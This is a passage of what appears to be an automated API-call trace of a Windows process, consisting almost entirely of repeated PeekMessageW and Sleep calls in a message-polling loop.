| out: lpMsg=0xa96acafba0) returned 0 [0043.709] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] Sleep (dwMilliseconds=0x0) [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] Sleep (dwMilliseconds=0x0) [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.710] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] Sleep (dwMilliseconds=0x0) [0043.711] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.711] Sleep (dwMilliseconds=0x0) [0043.712] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.712] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.712] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.712] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.712] Sleep (dwMilliseconds=0x0) [0043.712] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.713] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.713] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.713] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.713] Sleep (dwMilliseconds=0x0) [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] Sleep (dwMilliseconds=0x0) [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.721] Sleep (dwMilliseconds=0x0) [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] Sleep (dwMilliseconds=0x0) [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.722] Sleep (dwMilliseconds=0x0) [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] Sleep (dwMilliseconds=0x0) [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.723] Sleep (dwMilliseconds=0x0) [0043.723] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] Sleep (dwMilliseconds=0x0) [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] Sleep (dwMilliseconds=0x0) [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.724] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] Sleep (dwMilliseconds=0x0) [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] Sleep (dwMilliseconds=0x0) [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.725] Sleep (dwMilliseconds=0x0) [0043.725] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] Sleep (dwMilliseconds=0x0) [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] Sleep (dwMilliseconds=0x0) [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.726] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.727] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.728] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.735] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.735] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.735] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.736] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.737] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.737] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.737] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.737] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, 